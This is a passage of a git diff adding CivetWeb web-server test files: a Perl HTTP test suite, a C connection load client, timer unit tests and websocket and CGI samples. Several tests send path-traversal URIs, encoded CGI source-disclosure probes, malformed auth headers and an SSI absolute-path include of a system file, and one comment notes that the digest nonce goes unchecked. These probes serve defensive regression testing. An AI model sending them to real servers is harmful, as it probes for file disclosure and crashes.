URI'); + +# Test HTTP version parsing +o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 500', 'Bad HTTP Version', 0); +o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 0); +o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 0); +o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 0); + +# File with leading single dot +o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1'); +o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2'); +o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3') + if on_windows(); +o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0); + +mkdir $test_dir unless -d $test_dir; +o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n", + 'HTTP/1.1 404', 'PATH_INFO loop problem'); +o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection'); +o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing'); +write_file("$test_dir/index.html", "tralala"); +o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution'); +o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name'); +o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases'); +o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file'); +mkdir $test_dir . $dir_separator . 'x'; +my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi'; +write_file($path, read_file($root . $dir_separator . 'env.cgi')); +chmod(0755, $path); +o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n", + 'index.cgi execution'); + +my $cwd = getcwd(); +o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", + "SCRIPT_FILENAME=$cwd/test/test_dir/x/index.cgi", 'SCRIPT_FILENAME'); +o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi", + 'Aliases SCRIPT_NAME'); +o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close', + 'No keep-alive'); + +$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi'; +system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl"); +write_file($path, "#!../../myperl\n" . + "print \"Content-Type: text/plain\\n\\nhi\";"); +chmod(0755, $path); +o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path'); +o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI'); + +my $mime_types = { + html => 'text/html', + htm => 'text/html', + txt => 'text/plain', + unknown_extension => 'text/plain', + js => 'application/x-javascript', + css => 'text/css', + jpg => 'image/jpeg', + c => 'text/plain', + 'tar.gz' => 'blah', + bar => 'foo/bar', + baz => 'foo', +}; + +foreach my $key (keys %$mime_types) { + my $filename = "_mime_file_test.$key"; + write_file("$root/$filename", ''); + o("GET /$filename HTTP/1.0\n\n", + "Content-Type: $mime_types->{$key}", ".$key mime type"); + unlink "$root/$filename"; +} + +# Get binary file and check the integrity +my $binary_file = 'binary_file'; +my $f2 = ''; +foreach (0..123456) { $f2 .= chr(int(rand() * 255)); } +write_file("$root/$binary_file", $f2); +my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n"); +while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// } +$f1 eq $f2 or fail("Integrity check for downloaded binary file"); + +my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n". +"Range: bytes=3-5\r\n\r\n"; +o($range_request, '206 Partial Content', 'Range: 206 status code'); +o($range_request, 'Content-Length: 3\s', 'Range: Content-Length'); +o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range'); +o($range_request, '\nple$', 'Range: body content'); + +# Test directory sorting. Sleep between file creation for 1.1 seconds, +# to make sure modification time are different. +mkdir "$test_dir/sort"; +write_file("$test_dir/sort/11", 'xx'); +select undef, undef, undef, 1.1; +write_file("$test_dir/sort/aa", 'xxxx'); +select undef, undef, undef, 1.1; +write_file("$test_dir/sort/bb", 'xxx'); +select undef, undef, undef, 1.1; +write_file("$test_dir/sort/22", 'x'); + +o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n", + '200 OK.+>11<.+>22<.+>aa<.+>bb<', + 'Directory listing (name, ascending)'); +o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n", + '200 OK.+>bb<.+>aa<.+>22<.+>11<', + 'Directory listing (name, descending)'); +o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n", + '200 OK.+>22<.+>11<.+>bb<.+>aa<', + 'Directory listing (size, ascending)'); +o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n", + '200 OK.+>aa<.+>bb<.+>11<.+>22<', + 'Directory listing (size, descending)'); +o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n", + '200 OK.+>11<.+>aa<.+>bb<.+>22<', + 'Directory listing (modification time, ascending)'); +o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n", + '200 OK.+>22<.+>bb<.+>aa<.+>11<', + 'Directory listing (modification time, descending)'); + +unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") { + # Check that .htpasswd file existence trigger authorization + write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f'); + o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized', + '.htpasswd - triggering auth on file request'); + o("GET / HTTP/1.1\n\n", '401 Unauthorized', + '.htpasswd - triggering auth on directory request'); + + # Test various funky things in an authentication header. + o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n", + '401 Unauthorized', 'weird auth values should not cause crashes'); + my $auth_header = "Digest username=\"user with space, \\\" and comma\", ". + "realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",". + "response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\""; + o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth'); + o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$', + '.htpasswd is hidden from the directory list'); + o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$', + 'hidden file is hidden from the directory list'); + o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n", + '^HTTP/1.1 404 ', '.htpasswd must not be shown'); + o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n", + '^HTTP/1.1 404', 'hidden files must not be shown'); + unlink "$root/.htpasswd"; + + + o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n", + 'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path'); + o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file'); + o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r", + 'CGI Status code text'); + o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI', + 'GET sh CGI file') unless on_windows(); + o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO', + 'QUERY_STRING wrong'); + o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO", + 'var=HELLO', 'CGI POST wrong'); + o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO", + '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI'); + o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n", + 'HTTP_MY_HDR=abc', 'HTTP_* env'); + o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE", + 'HTTP/1.1 200 OK', 'GET CGI with trailing data'); + + o("GET /env.cgi%20 HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)'); + o("GET /env.cgi%ff HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)'); + o("GET /env.cgi%2e HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)'); + o("GET /env.cgi%2b HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3'); + o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO'); + o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO'); + + # Check that CGI's current directory is set to script's directory + my $copy_cmd = on_windows() ? 'copy' : 'cp'; + system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" . + $dir_separator . 'env.cgi'); + o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n", + "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()"); + + # SSI tests + o("GET /ssi1.shtml HTTP/1.0\n\n", + 'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file='); + o("GET /ssi2.shtml HTTP/1.0\n\n", + 'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual='); + my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml'; + o("GET /$ssi_exec HTTP/1.0\n\n", + 'ssi_begin.+Makefile.+ssi_end', 'SSI #exec'); + my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml'; + my $word = on_windows() ? 'boot loader' : 'root'; + o("GET /$abs_path HTTP/1.0\n\n", + "ssi_begin.+$word.+ssi_end", 'SSI #include abspath'); + o("GET /ssi7.shtml HTTP/1.0\n\n", + 'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."'); + o("GET /ssi8.shtml HTTP/1.0\n\n", + 'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes'); + + # Manipulate the passwords file + my $path = 'test_htpasswd'; + unlink $path; + system("$civetweb_exe -A $path a b c") == 0 + or fail("Cannot add user in a passwd file"); + system("$civetweb_exe -A $path a b c2") == 0 + or fail("Cannot edit user in a passwd file"); + my $content = read_file($path); + $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file"); + unlink $path; + + do_PUT_test(); + kill_spawned_child(); + do_unit_test(); +} + +sub do_PUT_test { + # This only works because civetweb currently doesn't look at the nonce. + # It should really be rejected... + my $auth_header = "Authorization: Digest username=guest, ". + "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ". + "response=896327350763836180c61d87578037d9, qop=auth, ". + "nc=00000002, cnonce=53eddd3be4e26a98\n"; + + o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567", + "HTTP/1.1 201 OK", 'PUT file, status 201'); + fail("PUT content mismatch") + unless read_file("$root/a/put.txt") eq '1234567'; + o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd", + "HTTP/1.1 200 OK", 'PUT file, status 200'); + fail("PUT content mismatch") + unless read_file("$root/a/put.txt") eq 'abcd'; + o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd", + "HTTP/1.1 411 Length Required", 'PUT 411 error'); + o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n". + "$auth_header\nabcd", + "HTTP/1.1 417 Expectation Failed", 'PUT 417 error'); + o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n". + "$auth_header\nabcd", + "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue'); +} + +sub do_unit_test { + my $target = on_windows() ? 'wi' : 'un'; + system("make $target") == 0 or fail("Unit test failed!"); +} + +print "SUCCESS! All tests passed.\n"; diff --git a/src/civetweb/test/testclient.c b/src/civetweb/test/testclient.c new file mode 100644 index 000000000..5cc2edb3f --- /dev/null +++ b/src/civetweb/test/testclient.c @@ -0,0 +1,151 @@ +#include +#include + +#if defined(_WIN32) || defined(WIN32) +#include +void INIT(void) {WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData);} +#else +#define INIT() +#include +#include +#include +#include +#include +#endif + +int connect_to_server(const struct sockaddr_in * serv_addr) +{ + int sockfd; + + /* Create a socket */ + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if (sockfd < 0) { + perror("ERROR opening socket"); + return -1; + } + + /* Connect to the server */ + if (connect(sockfd, (const sockaddr *)serv_addr, sizeof(*serv_addr)) < 0) { + perror("ERROR connecting"); + close(sockfd); + return -2; + } + + return sockfd; +} + +int send_to_server(int conn, const char * request) +{ + int req_len = strlen(request); + int n; + + n = write(conn, request, req_len); + if (n < 0) { + perror("ERROR writing to socket"); + return 0; + } + + return (n==req_len); +} + +int read_from_server(int conn) +{ + char rbuffer[1024]; + int n; + long ret; + + n = read(conn, rbuffer, sizeof(rbuffer)); + if (n < 0) { + perror("ERROR reading from socket"); + return 0; + } + + if (strncmp("HTTP/1.", rbuffer, 7)) { + perror("ERROR not a HTTP response"); + return 0; + } + + ret = atol(rbuffer + 9); + + return ret; +} + + +int main(int argc, char *argv[]) +{ + long portno; + int i, con_count=1; + time_t t1,t2,t3,t4; + char wbuffer[256]; + int connlist[1024*65]; + int result[1024*65]; + struct hostent *server; + struct sockaddr_in serv_addr; + + INIT(); + + if (argc != 4) { + fprintf(stderr,"Usage:\n\t%s hostname port clients\n\n", argv[0]); + exit(0); + } + + con_count = atol(argv[3]); + if (con_count<1) con_count=1; + if (con_count>1024*65) con_count=1024*65; + + portno = atol(argv[2]); + if (portno<1l || portno>0xFFFFl) { + fprintf(stderr, "ERROR, invalid port\n"); + exit(0); + } + + server = gethostbyname(argv[1]); + if (server == NULL) { + fprintf(stderr, "ERROR, no such host\n"); + exit(0); + } + + memset(&serv_addr, 0, sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + memcpy(server->h_addr, &serv_addr.sin_addr.s_addr, server->h_length); + serv_addr.sin_port = htons((short)portno); + + sprintf(wbuffer, "GET / HTTP/1.0\r\n\r\n"); + + t1 = time(0); + for (i=0;i=0) { + result[i] = send_to_server(connlist[i], wbuffer); + } + } + t3 = time(0); + for (i=0;i=0) { + result[i] = read_from_server(connlist[i]); + } + } + t4 = time(0); + + printf("\n"); + printf("conn: %.0lf\n", difftime(t2,t1)); + printf("write: %.0lf\n", difftime(t3,t2)); + printf("read: %.0lf\n", difftime(t4,t3)); + + for (i=-10;i<1000;i++) { + int j,cnt=0; + for(j=0;j0) { + printf("%5i\t%7i\n", i, cnt); + } + } + + return 0; +} + + diff --git a/src/civetweb/test/timeout.cgi b/src/civetweb/test/timeout.cgi new file mode 100755 index 000000000..324820562 --- /dev/null +++ b/src/civetweb/test/timeout.cgi @@ -0,0 +1,12 @@ +#!/usr/bin/env perl + +# Make stdout unbuffered +use FileHandle; +STDOUT->autoflush(1); + +# This script outputs some content, then sleeps for 5 seconds, then exits. +# Web server should return the content immediately after it is sent, +# not waiting until the script exits. +print "Content-Type: text/html\r\n\r\n"; +print "Some data"; +sleep 3; diff --git a/src/civetweb/test/timertest.c b/src/civetweb/test/timertest.c new file mode 100644 index 000000000..3ee98dce6 --- /dev/null +++ b/src/civetweb/test/timertest.c @@ -0,0 +1,350 @@ +/* Copyright (c) 2016-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * We include the source file so that we have access to the internal private + * static functions + */ +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#endif + +#if defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunused-function" +#endif + +#define CIVETWEB_API static +#define USE_TIMERS + +#include "../src/civetweb.c" + +#include +#include + +#include "timertest.h" + +static int action_dec_ret; + +static int +action_dec(void *arg) +{ + int *p = (int *)arg; + (*p)--; + + if (*p < -1) { + ck_abort_msg("Periodic timer called too often"); + /* return 0 here would be unreachable code */ + } + + return (*p >= -3) ? action_dec_ret : 0; +} + + +static int +action_dec_to_0(void *arg) +{ + int *p = (int *)arg; + (*p)--; + + if (*p <= -1) { + ck_abort_msg("Periodic timer called too often"); + /* return 0 here would be unreachable code */ + } + + return (*p > 0); +} + + +START_TEST(test_timer_cyclic) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + action_dec_ret = 1; + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + c[0] = 100; + timer_add(&ctx, 0.05, 0.1, 1, action_dec, c + 0); + c[2] = 20; + timer_add(&ctx, 0.25, 0.5, 1, action_dec, c + 2); + c[1] = 50; + timer_add(&ctx, 0.1, 0.2, 1, action_dec, c + 1); + + mark_point(); + + mg_sleep(10000); /* Sleep 10 second - timers will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(2000); /* Sleep 2 second - timers will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + + /* If this test runs in a virtual environment, like the CI unit test + * containers, there might be some timing deviations, so check the + * counter with some tolerance. */ + + ck_assert_int_ge(c[0], -1); + ck_assert_int_le(c[0], +1); + ck_assert_int_ge(c[1], -1); + ck_assert_int_le(c[1], +1); + ck_assert_int_ge(c[2], -1); + ck_assert_int_le(c[2], +1); +} +END_TEST + + +START_TEST(test_timer_oneshot_by_callback_retval) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + action_dec_ret = 0; + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + c[0] = 10; + timer_add(&ctx, 0, 0.1, 1, action_dec, c + 0); + c[2] = 2; + timer_add(&ctx, 0, 0.5, 1, action_dec, c + 2); + c[1] = 5; + timer_add(&ctx, 0, 0.2, 1, action_dec, c + 1); + + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + mg_sleep(100); + + ck_assert_int_eq(c[0], 9); + ck_assert_int_eq(c[1], 4); + ck_assert_int_eq(c[2], 1); +} +END_TEST + + +START_TEST(test_timer_oneshot_by_timer_add) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + action_dec_ret = 1; + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + c[0] = 10; + timer_add(&ctx, 0, 0, 1, action_dec, c + 0); + c[2] = 2; + timer_add(&ctx, 0, 0, 1, action_dec, c + 2); + c[1] = 5; + timer_add(&ctx, 0, 0, 1, action_dec, c + 1); + + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + mg_sleep(100); + + ck_assert_int_eq(c[0], 9); + ck_assert_int_eq(c[1], 4); + ck_assert_int_eq(c[2], 1); +} +END_TEST + + +START_TEST(test_timer_mixed) +{ + struct mg_context ctx; + int c[10]; + memset(&ctx, 0, sizeof(ctx)); + memset(c, 0, sizeof(c)); + + mark_point(); + timers_init(&ctx); + mg_sleep(100); + mark_point(); + + /* 3 --> 2, because it is a single shot timer */ + c[0] = 3; + timer_add(&ctx, 0, 0, 1, action_dec_to_0, &c[0]); + + /* 3 --> 0, because it will run until c[1] = 0 and then stop */ + c[1] = 3; + timer_add(&ctx, 0, 0.2, 1, action_dec_to_0, &c[1]); + + /* 3 --> 1, with 750 ms period, it will run once at start, + * then once 750 ms later, but not 1500 ms later, since the + * timer is already stopped then. */ + c[2] = 3; + timer_add(&ctx, 0, 0.75, 1, action_dec_to_0, &c[2]); + + /* 3 --> 2, will run at start, but no cyclic in 1 second */ + c[3] = 3; + timer_add(&ctx, 0, 2.5, 1, action_dec_to_0, &c[3]); + + /* 3 --> 3, will not run at start */ + c[4] = 3; + timer_add(&ctx, 2.5, 0.1, 1, action_dec_to_0, &c[4]); + + /* 3 --> 2, an absolute timer in the past (-123.456) will still + * run once at start, and then with the period */ + c[5] = 3; + timer_add(&ctx, -123.456, 2.5, 0, action_dec_to_0, &c[5]); + + /* 3 --> 1, an absolute timer in the past (-123.456) will still + * run once at start, and then with the period */ + c[6] = 3; + timer_add(&ctx, -123.456, 0.75, 0, action_dec_to_0, &c[6]); + + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will run */ + + mark_point(); + ctx.stop_flag = 99; /* End timer thread */ + mark_point(); + + mg_sleep(1000); /* Sleep 1 second - timer will not run */ + + mark_point(); + + timers_exit(&ctx); + + mark_point(); + mg_sleep(100); + + ck_assert_int_eq(c[0], 2); + ck_assert_int_eq(c[1], 0); + ck_assert_int_eq(c[2], 1); + ck_assert_int_eq(c[3], 2); + ck_assert_int_eq(c[4], 3); + ck_assert_int_eq(c[5], 2); + ck_assert_int_eq(c[6], 1); +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_timertest_suite(void) +{ + Suite *const suite = suite_create("Timer"); + + TCase *const tcase_timer_cyclic = tcase_create("Timer Periodic"); + TCase *const tcase_timer_oneshot = tcase_create("Timer Single Shot"); + TCase *const tcase_timer_mixed = tcase_create("Timer Mixed"); + + tcase_add_test(tcase_timer_cyclic, test_timer_cyclic); + tcase_set_timeout(tcase_timer_cyclic, 30); + suite_add_tcase(suite, tcase_timer_cyclic); + + tcase_add_test(tcase_timer_oneshot, test_timer_oneshot_by_timer_add); + tcase_add_test(tcase_timer_oneshot, test_timer_oneshot_by_callback_retval); + tcase_set_timeout(tcase_timer_oneshot, 30); + suite_add_tcase(suite, tcase_timer_oneshot); + + tcase_add_test(tcase_timer_mixed, test_timer_mixed); + tcase_set_timeout(tcase_timer_mixed, 30); + suite_add_tcase(suite, tcase_timer_mixed); + + return suite; +} +#endif + + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +/* Used to debug test cases without using the check framework */ + +void +TIMER_PRIVATE(void) +{ + unsigned f_avail; + unsigned f_ret; + +#if defined(_WIN32) + WSADATA data; + WSAStartup(MAKEWORD(2, 2), &data); +#endif + + f_avail = mg_check_feature(0xFF); + f_ret = mg_init_library(f_avail); + ck_assert_uint_eq(f_ret, f_avail); + + test_timer_cyclic(0); + test_timer_oneshot_by_timer_add(0); + test_timer_oneshot_by_callback_retval(0); + test_timer_mixed(0); + + mg_exit_library(); + +#if defined(_WIN32) + WSACleanup(); +#endif +} + +#endif diff --git a/src/civetweb/test/timertest.h b/src/civetweb/test/timertest.h new file mode 100644 index 000000000..844a01b0a --- /dev/null +++ b/src/civetweb/test/timertest.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_TIMER_H_ +#define TEST_TIMER_H_ + +#include "civetweb_check.h" + +Suite *make_timertest_suite(void); + +#endif /* TEST_TIMER_H_ */ diff --git a/src/civetweb/test/websocket.lua b/src/civetweb/test/websocket.lua new file mode 100644 index 000000000..7338ed874 --- /dev/null +++ b/src/civetweb/test/websocket.lua @@ -0,0 +1,118 @@ +timerID = "timeout" +--timerID = "interval" + +function trace(text) + local f = io.open("websocket.trace", "a") + f:write(os.date() .. " - " .. text .. "\n") + f:close() +end + +function iswebsocket() + return mg.lua_type == "websocket" + --return pcall(function() + -- if (string.upper(mg.request_info.http_headers.Upgrade)~="WEBSOCKET") then error("") end + --end) +end + +trace("called with Lua type " .. tostring(mg.lua_type)) + +if not iswebsocket() then + trace("no websocket") + mg.write("HTTP/1.0 403 Forbidden\r\n") + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("forbidden") + return +end + + +-- Serialize table to string +function ser(val) + local t + if type(val) == "table" then + for k,v in pairs(val) do + if t then + t = t .. ", " .. ser(k) .. "=" .. ser(v) + else + t = "{" .. ser(k) .. "=" .. ser(v) + end + end + t = t .. "}" + else + t = tostring(val) + end + return t +end + +-- table of all active connection +allConnections = {} + +-- function to get a client identification string +function who(tab) + local ri = allConnections[tab.client].request_info + return ri.remote_addr .. ":" .. ri.remote_port +end + +-- Callback to accept or reject a connection +function open(tab) + allConnections[tab.client] = tab + trace("open[" .. who(tab) .. "]: " .. ser(tab)) + return true -- return true to accept the connection +end + +-- Callback for "Websocket ready" +function ready(tab) + trace("ready[" .. who(tab) .. "]: " .. ser(tab)) + mg.write(tab.client, "text", "Websocket ready") + mg.write(tab.client, 1, "-->h 180"); + mg.write(tab.client, "-->m 180"); + senddata() + if timerID == "timeout" then + mg.set_timeout("timer()", 1) + elseif timerID == "interval" then + mg.set_interval("timer()", 1) + end + return true -- return true to keep the connection open +end + +-- Callback for "Websocket received data" +function data(tab) + trace("data[" .. who(tab) .. "]: " .. ser(tab)) + senddata() + return true -- return true to keep the connection open +end + +-- Callback for "Websocket is closing" +function close(tab) + trace("close[" .. who(tab) .. "]: " .. ser(tab)) + mg.write("text", "end") + allConnections[tab.client] = nil +end + +function senddata() + local date = os.date('*t'); + local hand = (date.hour%12)*60+date.min; + + mg.write("text", string.format("%u:%02u:%02u", date.hour, date.min, date.sec)); + + if (hand ~= lasthand) then + mg.write(1, string.format("-->h %u", hand*360/(12*60))); + mg.write( string.format("-->m %u", date.min*360/60)); + lasthand = hand; + end + + if bits and content then + data(bits, content) + end +end + +function timer() + trace("timer") + senddata() + if timerID == "timeout" then + mg.set_timeout("timer()", 1) + else + return true -- return true to keep an interval timer running + end +end + diff --git a/src/civetweb/test/websocket.xhtml b/src/civetweb/test/websocket.xhtml new file mode 100644 index 000000000..3e0828f17 --- /dev/null +++ b/src/civetweb/test/websocket.xhtml @@ -0,0 +1,117 @@ + + + + + Websocket test + + + + + + + + + + + No websocket connection yet + + + + + diff --git a/src/civetweb/test/windows.cgi b/src/civetweb/test/windows.cgi new file mode 100644 index 000000000..d8aaabce2 --- /dev/null +++ b/src/civetweb/test/windows.cgi @@ -0,0 +1,2 @@ +#!windows.cgi.cmd + diff --git a/src/civetweb/test/windows.cgi.cmd b/src/civetweb/test/windows.cgi.cmd new file mode 100644 index 000000000..779abad01 --- /dev/null +++ b/src/civetweb/test/windows.cgi.cmd @@ -0,0 +1,7 @@ +@echo off +@rem echo HTTP/1.1 200 OK -- sent by framework +echo Connection: close +echo. +echo CGI test: +echo. +set diff --git a/src/civetweb/test/windows_fail.cgi b/src/civetweb/test/windows_fail.cgi new file mode 100644 index 000000000..606fbd23f --- /dev/null +++ b/src/civetweb/test/windows_fail.cgi @@ -0,0 +1,2 @@ +#!r:\windows_fail.cgi.cmd + diff --git a/src/civetweb/test/windows_fail.cgi.cmd b/src/civetweb/test/windows_fail.cgi.cmd new file mode 100644 index 000000000..715c0619d --- /dev/null +++ b/src/civetweb/test/windows_fail.cgi.cmd @@ -0,0 +1,2 @@ +@echo off +echo 